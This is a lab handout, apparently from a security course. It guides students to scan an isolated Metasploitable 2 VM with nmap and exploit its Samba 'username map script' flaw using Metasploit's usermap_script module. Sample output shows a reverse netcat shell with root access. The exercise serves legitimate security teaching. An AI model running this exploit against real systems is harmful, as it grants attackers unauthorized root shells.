Metasploit Server Code Exploitation

Activities

Metasploit Server Code Exploitation	
Find and Exploit the Vulnerability	
Assignment Submission	

Time needed: 30 minutes

Find and Exploit the Vulnerability

Time Required: 30 minutes

NOTE: Both Kali Linux and Metasploitable 2 should be on the same user created NatNetwork with DHCP enabled.

Objective: Find and exploit the vulnerability.

- 1. Start Metasploitable 2 and Kali Linux.
- 2. Logon \rightarrow use **ip a** to find the IP address. (Example: 10.10.1.5)
- 3. Run an intense scan against Metasploitable 2
- 4. In Kali Linux: **nmap -T4 -A -v 10.10.1.5 | tee -a nmapscan.txt**This command will display the results to the command line and redirect the results to nmapscan.txt.
- 5. Type: less nmapscan.txt
- 6. Press the spacebar to go through the report. You will see port 139 listed.

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```
111/tcp open rpcbind
                            2 (RPC #100000)
  rpcinfo:
    program version port/proto service
                       111/tcp
    100000 2
                                     rpcbind
    100000 2
100000 2
100003 2,3,4
100003 2,3,4
100005 1,2,3
100005 1,2,3
100021 1,3,4
100021 1,3,4
                         111/udp rpcbind
                      2049/tcp nfs
2049/udp nfs
                      43195/tcp
                                     mountd
                      43650/udp
                                     mountd
                        42318/tcp nlockmgr
                        44608/udp nlockmgr
    100024 1
                        40829/tcp
                                     status
    100024 1
                        49977/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP
512/tcp open exec
                          netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
    Protocol: 10
    Version: 5.0.51a-3ubuntu5
```

- 7. Do a web search for **Samba smbd 3.x exploit**
- 8. The first page returned should be from Rapid7 → Samba "username map script" Command Execution Rapid7.
- 9. In Kali Linux: Run Metasploit at the terminal: **msfconsole**
- 10. Run the following command to launch the **usermap_script** exploit package.

```
msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) >
```

Payloads are small pieces of code that will run on the target computer once the vulnerability has been exploited.

- 11. To show the options that can be set, type: **show options**
- 12. Use the set RHOST command to set the IP address of the target.

set RHOST IPADDRESS_OF_METASPLOITABLE

- 13. Type: **show options**
- 14. Insert a screenshot of your options.

Click or tap here to enter text.

- 15. To run the exploit, type **exploit**
- 16. If this fails, run it again.
- 17. You should come to a screen like this.

```
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.10.1.9:4444

[*] Command shell session 1 opened (10.10.1.9:4444 → 10.10.1.12:53504 ) at 2021-11-21 15:21:29 -0700

pwd
/
ls
```

- 18. Type **pwd** This will show your present working directory as /
- 19. Type **id** It should show that you are root.
- 20. Type **uname -a** You should see that you are on the metasploitable server.
- 21. Insert a screenshot of your results.

Click or tap here to enter text.

- 22. Type **Is**
- 23. Insert a screenshot of your results.

Click or tap here to enter text.

- 24. You can execute any command you wish on the exploited server.
- 25. Type **q** to exit Metasploit
- 26. Shut down Kali Linux: poweroff
- 27. Shut down Metasploitable 2: **sudo poweroff**

Assignment Submission

Attach this completed document to the assignment in Blackboard.

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